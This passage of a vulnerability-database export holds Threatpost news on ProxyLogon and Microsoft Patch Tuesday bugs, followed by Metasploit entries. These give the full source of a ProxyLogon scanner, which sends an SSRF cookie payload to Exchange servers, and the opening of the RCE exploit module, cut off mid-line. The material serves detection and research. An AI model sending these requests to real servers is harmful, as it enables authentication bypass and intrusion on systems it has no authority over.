and with this as a precedent, it likely won\u2019t be the last. Many enterprises today have no idea what their infrastructure and security state looks like \u2013 visibility is a huge problem for CISOs.\u201d\n\nDirk Schrader, global vice president of security research at New Net Technologies, noted that the FBI\u2019s lack of transparency could be problematic.\n\n\u201cThere are a few critical issues in this,\u201d he told Threatpost. \u201cOne is the FBI stating the action was because these victims lack the technical ability to clear their infrastructure themselves, another is that it seems the FBI intends to delay informing the victims about the removal itself by at least a month, citing ongoing investigations as a reason.\u201d\n\nHe explained, \u201cThis can cause other issues, as the victims have no chance to investigate what kind of information has been accessed, whether additional backdoors where installed, and a range of other concerns come with this approach.\u201d\n\nMonti Knode, director of customer and partner success at Horizon3.AI, noted that the action illuminates just how dangerous the bugs are.\n\n\u201cGovernment action is always predicated by an authority to act,\u201d he said via email. \u201cBy specifically calling out \u2018protected computers\u2019 and declaring them \u2018damaged\u2019, that appears to have been enough to give the FBI a signed warrant to execute such an operation without notifying victims ahead of the operation execution. While the scale of the operation is unknown (redacted in court order), the fact that the FBI was able to execute in less than four days, and then publicly release this effort, demonstrates the potential national security risk posed by these exploited systems and the prioritized planning involved. This isn\u2019t a knee-jerk reaction.\u201d\n\nThis operation was successful in copying and removing the web shells, the FBI reported. However, organizations still need to patch if they haven\u2019t yet done so.\n\n\u201cCombined with the private sector\u2019s and other government agencies\u2019 efforts to date, including the release of detection tools and patches, we are together showing the strength that public-private partnership brings to our country\u2019s cybersecurity,\u201d Denmers said. \u201cThere\u2019s no doubt that more work remains to be done, but let there also be no doubt that the Department is committed to playing its integral and necessary role in such efforts.\u201d\n\n## New Exchange RCE Bugs and a Federal Warning\n\nThe news comes on the heels of [April Patch Tuesday](<https://threatpost.com/microsoft-april-patch-tuesday-zero-days/165393/>), in which Microsoft revealed more RCE vulnerabilities in Exchange (CVE-2021-28480 through CVE-2021-28483), which were discovered and reported by the National Security Agency. A [mandate to federal agencies](<https://cyber.dhs.gov/ed/21-02/#supplemental-direction-v2>) to patch them by Friday also went out.\n\nImmersive Labs\u2019 Kevin Breen, director of cyber-threat research, warned that weaponization of these may come faster than usual, since motivated attackers will be able to use existing concept code.\n\n\u201cThis underlines the criticality of cybersecurity now to entire nations, as well as the continued blurring of the lines between nation-states, intelligence services and enterprise security,\u201d he added via email. \u201cWith a number of high-profile attacks affecting well-used enterprise software recently, the NSA are obviously keen to step up and play a proactive role.\u201d\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _****_[FREE Threatpost event](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)_****_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts from Digital Shadows (Austin Merritt) and Sift (Kevin Lee) will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _****_[Register here](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)_****_ for the Wed., April 21 LIVE event. _**\n\n**_ _**\n", "cvss3": {}, "published": "2021-04-14T17:31:13", "type": "threatpost", "title": "FBI Clears ProxyLogon Web Shells from Hundreds of Orgs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-28480", "CVE-2021-28483"], "modified": "2021-04-14T17:31:13", "id": "THREATPOST:2FE0A6568321CDCF2823C6FA18106381", "href": "https://threatpost.com/fbi-proxylogon-web-shells/165400/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-10T20:20:08", "description": "[Microsoft reported](<https://msrc.microsoft.com/update-guide/vulnerability>) a total of 55 vulnerabilities, six of which are rated critical, with the remaining 49 being rated important. The flaws are found in Microsoft Windows and Windows Components, Azure, Azure RTOS, Azure Sphere, Microsoft Dynamics, Microsoft Edge (Chromium-based), Exchange Server, Microsoft Office and Office Components, Windows Hyper-V, Windows Defender, and Visual Studio.\n\nAll in all, it\u2019s a pretty light month, according to the Zero Day Initiative\u2019s (ZDI\u2019s) Dustin Childs. \u201cHistorically speaking, 55 patches in November is a relatively low number,\u201d he commentd. \u201cEven going back to 2018 when there were only 691 CVEs fixed all year, there were more November CVEs.\u201d\n\nStill, as always, this Patch Tuesday delivers high-priority fixes, the most urgent of which being the duo that are under attack.\n\n## High-Priority, Actively Exploited Pair of Bugs\n\n[**CVE-2021-42321**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321>)**: Microsoft Exchange Server Remote Code Execution Vulnerability.**\n\nThis is a critical remote code execution (RCE) weakness in Exchange Server caused by issues with the validation of command-let (cmdlet) arguments \u2013 i.e., lightweight commands used in the PowerShell environment. They\u2019re invoked by PowerShell runtime within the context of automation scripts that are provided at the command line or invoked programmatically by the PowerShell runtime through APIs. Microsoft said that the vulnerability, rated 8.8 in criticality, has low attack complexity.\n\nIn order to exploit this flaw, an attacker would need to be authenticated, which limits some of the impact, as noted by Satnam Narang, staff research engineer at Tenable. Microsoft says they are aware of \u201climited targeted attacks\u201d using this vulnerability in the wild.\n\nMicrosoft has a[ blog post describing the vulnerabilit](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169>)y and how it\u2019s exploited.\n\nMicrosoft Exchange Server has been the subject of several notable vulnerabilities throughout 2021, including [ProxyLogon](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) and associated vulnerabilities as well as [ProxyShell](<https://threatpost.com/tortilla-exchange-servers-proxyshell/175967/>), Narang pointed out.\n\n[](<https://threatpost.com/webinars/multi-cloud-security-and-visibility-an-intro-to-osquery-and-cloudquery/?utm_source=uptycs&utm_medium=email&utm_campaign=event&utm_id=uptycs&utm_term=nov_event&utm_content=IA>)\n\nClick to register for our LIVE event!\n\n\u201cThough unconfirmed, this may be similar to an Exchange Server vulnerability that was discovered at the [Tianfu Cup](<https://borncity.com/win/2021/10/17/tifanu-cup-2021-exchange-2019-und-iphone-gehackt/>) hacking competition last month,\u201d Narang suggested.\n\nKevin Breen, director of cyber threat research at Immersive Labs, told Threatpost on Tuesday that federal or government bodies in the United States may be bound by the recent [CISA directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) that puts an emphasis on faster patching of exploits that are actively being used by attackers. \u201cThis vulnerability \u2013 along with CVE-2021-42292 \u2013 would likely fall into that category,\u201d he noted in an email on Tuesday.\n\nIn spite of playing a starring role at the Tianfu Cup, this flaw was actually discovered by the Microsoft Threat Intelligence Center (MSTIC). Microsoft said that it\u2019s been actively used in attacks.\n\n[**CVE-2021-42292**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42292>)**: Microsoft Excel Security Feature Bypass Vulnerability.**\n\nThis patch fixes a security feature bypass vulnerability \u200b\u200bin Microsoft Excel for both Windows and MacOS computers that could allow code execution when opening a specially crafted file. It too was discovered by MSTIC, which said that it\u2019s also been exploited in the wild as a zero day.\n\nAccording to Trend Micro\u2019s Zero Day Initiative (ZDI) [November Security Update](<https://www.zerodayinitiative.com/blog/2021/11/9/the-november-2021-security-update-review>), \u201cThis is likely due to loading code that should be behind a prompt, but for whatever reason, that prompt does not appear, thus bypassing that security feature.\u201d\n\nMicrosoft doesn\u2019t suggest what effect the vulnerability might have, but its CVSS score of 7.8 gives it a severity rating of high. Immersive Labs\u2019 Breen said that the lack of detail \u201ccan make it hard to prioritize, but anything that is being exploited in the wild should be at the very top of your list to patch.\u201d\n\nMicrosoft said that the Outlook Preview Pane isn\u2019t an attack vector for this weakness, so a target would need to open the file in order for exploitation to occur.\n\nUpdates are available for Windows systems, but updates for Office for Mac aren\u2019t out yet.\n\nBreen suggested that given the lack of description and a lack of updates for a vulnerability being exploited in the wild, \u201cit may be worth telling anyone in your organization using Office for Mac to be more cautious until patches are made available.\u201d\n\n## Other Bugs of Note\n\n[**CVE-2021-42298**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42298>)**: Microsoft Defender Remote Code Execution Vulnerability.**\n\nDefender is designed to scan every file and run with some of the highest levels or privileges in the operating system. This means an attacker could trigger the exploit by simply sending a file \u2013 the victim wouldn\u2019t even need to open or run anything, explained Kevin Breen, director of cyber threat research at Immersive Labs.\n\nBreen told Threatpost on Tuesday that this is the reason that CVE-2021-42298 is marked as \u201cexploitation more likely.\u201d\n\n\u201cAs it\u2019s not being exploited in the wild, it should get updated without any manual intervention from administrators,\u201d he said via email. \u201cThat being said, it\u2019s definitely worth checking to make sure your Defender installations are getting their updates set correctly.\u201d\n\nMicrosoft\u2019s advisory includes steps to verify that users have the latest versions installed.\n\n[**CVE-2021-38666**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38666>)**: Remote Desktop Client Remote Code Execution Vulnerability.**\n\nMicrosoft said that in the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger an RCE on the RDP client machine when a victim connects to the attacking server with the vulnerable Remote Desktop Client.\n\nThat\u2019s not the clearest description, Breen noted, but the attack vector suggests that the remote desktop client installed on all supported versions of Windows contains a vulnerability.\n\n\u201cTo exploit it, an attacker would have to create their own server and convince a user to connect to the attacker,\u201d Breen explained. \u201cThere are several ways an attacker could do this, one of which could be to send the target an RDP shortcut file, either via email or a download. If the target opens this file, which in itself is not malicious, they could be giving the attacker access to their system.\u201d\n\nBreen said in an email that in addition to patching this flaw, a sensible step would be to add detections for RDP files being shared in emails or downloads.\n\n[**CVE-2021-38631**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38631>)** & **[**CVE-2021-41371**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41371>)**: Information Disclosure Vulnerabilities in Microsoft Remote Desktop Protocol (RDP).**\n\nThese flaws were previously publicly disclosed by security researchers. Successful exploitation of would allow an attacker to see RDP passwords for the vulnerable system.\n\nThe issue affects RDP running on Windows 7 \u2013 11 and Windows Server 2008 \u2013 2019. They\u2019re rated \u201cImportant\u201d by Microsoft. Given the interest that cybercriminals (especially ransomware initial access brokers) have in RDP, \u201cit is likely that it will be exploited at some point,\u201d said Allan Liska, senior security architect at Recorded Future.\n\n## Continuous Exchange Vulnerabilities\n\nExchange vulnerabilities have been of particular concern this year, Liska noted, pointing to both Chinese nation state actors and the cybercriminals behind the [DearCry](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) ransomware (also believed to be operating out of China) as having exploited earlier vulnerabilities in Microsoft Exchange ([CVE-2021-26855 and CVE-2021-27065](<https://threatpost.com/microsoft-exchange-cyberattacks-one-click-fix/164817/>)).\n\n\u201cWhile Microsoft only rates the vulnerability as \u2018Important\u2019 because an attacker has to be authenticated to exploit it, Recorded Future has noted that gaining legitimate credential access to Windows systems has become trivial for both nation state and cybercriminal actors,\u201d Liska said via email. Hence, he recommended prioritizing this flaw for patching.\n\n## Prioritize CVE-2021-42292, Too\n\nMicrosoft wasn\u2019t clear about which security feature is bypassed by this security feature bypass vulnerability for Microsoft Excel for both Windows and MacOS computers, which affects versions 2013 \u2013 2021. But the fact that it\u2019s being exploited in the wild \u201cis concerning,\u201d Liska said and \u201cmeans it should be prioritized for patching.\u201d\n\nMicrosoft Excel is a frequent target of both [nation-state attackers](<https://threatpost.com/spear-phishing-attack-lures-victims-with-hiv-results/153536/>) and cybercriminals, he noted.\n\n110921 17:21 UPDATE: Corrected misattribution of input from Kevin Breen.\n\n**_Want to win back control of the flimsy passwords standing between your network and the next cyberattack? Join Darren James, head of internal IT at Specops, and Roger Grimes, data-driven defense evangelist at KnowBe4, to find out how during a free, LIVE Threatpost event, _**[**_\u201cPassword Reset: Claiming Control of Credentials to Stop Attacks,\u201d_**](<https://bit.ly/3bBMX30>) **_on Wed., Nov. 17 at 2 p.m. ET. Brought to you by Specops._**\n\n[**_Register NOW_**](<https://bit.ly/3bBMX30>)**_ for the LIVE event and submit questions ahead of time to Threatpost\u2019s Becky Bracken at _**[**_becky.bracken@threatpost.com._**](<mailto:becky.bracken@threatpost.com>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-09T21:41:49", "type": "threatpost", "title": "Microsoft Nov. Patch Tuesday Fixes Six Zero-Days, 55 Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065", "CVE-2021-38631", "CVE-2021-38666", "CVE-2021-41371", "CVE-2021-42292", "CVE-2021-42298", "CVE-2021-42321"], "modified": "2021-11-09T21:41:49", "id": "THREATPOST:C23B7DE85B27B6A8707D0016592B87A3", "href": "https://threatpost.com/microsoft-nov-patch-tuesday-fixes-six-zero-days-55-bugs/176143/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-10T13:10:52", "description": "Microsoft has released its regularly scheduled March Patch Tuesday updates, which address 89 security vulnerabilities overall.\n\nIncluded in the slew are 14 critical flaws and 75 important-severity flaws. Microsoft also included five previously disclosed vulnerabilities, which are being actively exploited in the wild.\n\nFour of the actively exploited flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065), found [in Microsoft Exchange](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>), were disclosed as part of an emergency patch earlier this month by Microsoft; [businesses have been scrambling to patch their systems](<https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/>) as the bugs continue to be exploited in targeted attacks. The fifth actively-exploited flaw exists in the Internet Explorer and Microsoft Edge browsers ([CVE-2021-26411](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26411>)). Proof-of-concept (PoC) exploit code also exists for this flaw, according to Microsoft.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cFor all of March, Microsoft released patches for 89 unique CVEs covering Microsoft Windows components, Azure and Azure DevOps, Azure Sphere, Internet Explorer and Edge (EdgeHTML), Exchange Server, Office and Office Services and Web Apps, SharePoint Server, Visual Studio, and Windows Hyper-V,\u201d said Dustin Childs with Trend Micro\u2019s Zero Day Initiative, [on Tuesday](<https://www.zerodayinitiative.com/blog/2021/3/9/the-march-2021-security-update-review>).\n\n## **Internet Explorer\u2019s Actively Exploited Flaw**\n\nThe memory-corruption flaw ([CVE-2021-26411](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26411>)) in Internet Explorer and Microsoft Edge could enable remote code execution. Researchers said the flaw could allow an attacker to run code on affected systems, if victims view a specially crafted HTML file.\n\n\u201cWhile not as impactful as the Exchange bugs, enterprises that rely on Microsoft browsers should definitely roll this out quickly,\u201d said Childs. \u201cSuccessful exploitation would yield code execution at the level of the logged-on user, which is another reminder not to browse web pages using an account with administrative privileges.\u201d\n\nPoC exploit code is also publicly available for the issue. The bug is \u201ctied to a vulnerability\u201d that was [publicly disclosed in early February](<https://enki.co.kr/blog/2021/02/04/ie_0day.html>) by ENKI researchers. The researchers claimed it was one of the vulnerabilities used in a [concerted campaign by nation-state actors to target security researchers](<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/>), and they said they would publish PoC exploit code for the flaw after the bug has been patched.\n\n\u201cAs we\u2019ve seen in the past, once PoC details become publicly available, attackers quickly incorporate those PoCs into their attack toolkits,\u201d according to Satnam Narang, staff research engineer at Tenable. \u201cWe strongly encourage all organizations that rely on Internet Explorer and Microsoft Edge (EdgeHTML-Based) to apply these patches as soon as possible.\u201d\n\n## **PoC Exploit Code Available For Windows Privilege Elevation Flaw**\n\nIn addition to the five actively exploited vulnerabilities, Microsoft issued a patch for a vulnerability in Win32K for which public PoC exploit code is also available. This flaw [ranks important in severity](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27077>), and exists in Windows Win32K ([CVE-2021-27077](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27077>)). A local attacker can exploit the flaw to gain elevated privileges, according to Microsoft. While PoC exploit code is available for the flaw, the tech giant said it has not been exploited in the wild, and that exploitation is \u201cless likely.\u201d\n\n## **Other Microsoft Critical Flaws**\n\n** **Microsoft patched 14 critical vulnerabilities overall in this month\u2019s Patch Tuesday updates, including ([CVE-2021-26897](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26897>)), which exists in Windows DNS server and can enable remote code execution. The flaw is one out of seven vulnerabilities in Windows DNS server; the other six are rated important severity. The critical-severity flaw can be exploited by an attacker with an existing foothold on the same network as the vulnerable device; the attack complexity for such an attack is \u201clow.\u201d\n\nA critical remote code-execution flaw also exists in Microsoft\u2019s Windows Hyper-V hardware virtualization product ([CVE-2021-26867](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26867>)), which could allow an authenticated attacker to execute code on the underlying Hyper-V server.\n\n\u201cWhile listed as a CVSS of 9.9, the vulnerability is really only relevant to those using the Plan-9 file system,\u201d said Childs. \u201cMicrosoft does not list other Hyper-V clients as impacted by this bug, but if you are using Plan-9, definitely roll this patch out as soon as possible.\u201d\n\nAnother bug of note is a remote code-execution flaw existing on Microsoft\u2019s SharePoint Server ([CVE-2021-27076](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27076>)). The flaw can be exploited by a remote attacker on the same network as the victim, and has a low attack complexity that makes exploitation more likely, according to Microsoft.\n\n\u201cFor an attack to succeed, the attacker must be able to create or modify sites with the SharePoint server,\u201d according to Childs. \u201cHowever, the default configuration of SharePoint allows authenticated users to create sites. When they do, the user will be the owner of this site and will have all the necessary permissions.\u201d\n\n## **Microsoft Exchange Updates: Patch Now**\n\nThe Microsoft Patch Tuesday updates come as businesses grapple with existing Microsoft Exchange zero-day vulnerabilities that were previously disclosed and continue to be used in active exploits. Overall, Microsoft had released out-of-band fixes for seven vulnerabilities \u2013 four of which were the actively-exploited flaws.\n\nOn Monday, the [European Banking Authority disclosed a cyberattack](<https://www.eba.europa.eu/cyber-attack-european-banking-authority-update-2>) that it said stemmed from an exploit of the Microsoft Exchange flaw. Beyond the European Banking Authority, one recent report said [that at least 30,000 organizations](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>) across the U.S. have been hacked by attackers exploiting the vulnerability.\n\n\u201cIf you run Exchange on-premise, you need to follow the published guidance and apply the patches as soon as possible,\u201d said Childs. \u201cMicrosoft has even taken the extraordinary step of creating patches for out-of-support versions of Exchange. Ignore these updates at your own peril.\u201d\n\nAlso released on Tuesday were Adobe\u2019s security updates, [addressing a cache of critical flaws](<https://threatpost.com/adobe-critical-flaws-windows/164611/>), which, if exploited, could allow for arbitrary code execution on vulnerable Windows systems.\n\n**_Check out our free _****_[upcoming live webinar events](<https://threatpost.com/category/webinars/>)_****_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_** \n\u00b7 March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>)) \n\u00b7 April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-09T22:12:56", "type": "threatpost", "title": "Microsoft Patch Tuesday Updates Fix 14 Critical Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26867", "CVE-2021-26897", "CVE-2021-27065", "CVE-2021-27076", "CVE-2021-27077"], "modified": "2021-03-09T22:12:56", "id": "THREATPOST:056C552B840B2C102A6A75A2087CA8A5", "href": "https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2022-06-24T08:37:41", "description": "This module scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855). By chaining this bug with another post-auth arbitrary-file-write vulnerability to get code execution (CVE-2021-27065). As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-07T13:37:20", "type": "metasploit", "title": "Microsoft Exchange ProxyLogon Scanner", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-02-23T22:27:12", "id": "MSF:AUXILIARY-SCANNER-HTTP-EXCHANGE_PROXYLOGON-", "href": "https://www.rapid7.com/db/modules/auxiliary/scanner/http/exchange_proxylogon/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n# begin auxiliary class\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n include Msf::Auxiliary::Scanner\n include Msf::Auxiliary::Report\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon Scanner',\n 'Description' => %q{\n This module scan for a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication and impersonating as the\n admin (CVE-2021-26855).\n\n By chaining this bug with another post-auth arbitrary-file-write\n vulnerability to get code execution (CVE-2021-27065).\n\n As a result, an unauthenticated attacker can execute arbitrary commands on\n Microsoft Exchange Server.\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Module author (Zeop Entreprise)\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Notes' => {\n 'AKA' => ['ProxyLogon'],\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [],\n 'SideEffects' => [IOC_IN_LOGS]\n }\n )\n )\n\n register_options([\n OptEnum.new('METHOD', [true, 'HTTP Method to use for the check.', 'POST', ['GET', 'POST']])\n ])\n end\n\n def message(msg)\n \"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\"\n end\n\n def run_host(target_host)\n @proto = (ssl ? 'https' : 'http')\n\n uri = normalize_uri('ecp', \"#{Rex::Text.rand_text_alpha(1..3)}.js\")\n received = send_request_cgi({\n 'method' => datastore['METHOD'],\n 'uri' => uri,\n 'cookie' => 'X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;'\n })\n unless received\n print_error(message('No response, target seems down.'))\n\n return Exploit::CheckCode::Unknown\n end\n\n if received && (received.code != 500 && received.code != 503)\n print_error(message('The target is not vulnerable to CVE-2021-26855.'))\n vprint_error(\"Obtained HTTP response code #{received.code} for #{full_uri(uri)}.\")\n\n return Exploit::CheckCode::Safe\n end\n\n if received.headers['X-CalculatedBETarget'] != 'localhost'\n print_error(message('The target is not vulnerable to CVE-2021-26855.'))\n vprint_error('Could\\'t obtain a correct \\'X-CalculatedBETarget\\' in the response header.')\n\n return Exploit::CheckCode::Safe\n end\n\n print_good(message('The target is vulnerable to CVE-2021-26855.'))\n msg = \"Obtained HTTP response code #{received.code} for #{full_uri(uri)}.\"\n vprint_good(msg)\n\n report_vuln(\n host: target_host,\n name: name,\n refs: references,\n info: msg\n )\n\n Exploit::CheckCode::Vulnerable\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/exchange_proxylogon.rb", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-09T16:07:11", "description": "This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-12T23:49:45", "type": "metasploit", "title": "Microsoft Exchange ProxyLogon RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2023-02-08T15:20:32", "id": "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYLOGON_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxylogon_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::CheckModule\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon RCE',\n 'Description' => %q{\n This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication, impersonating as the\n admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)\n 'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)\n 'mekhalleh (RAMELLA S\u00e9bastien)', # Module author independent researcher (who listen to 'Le 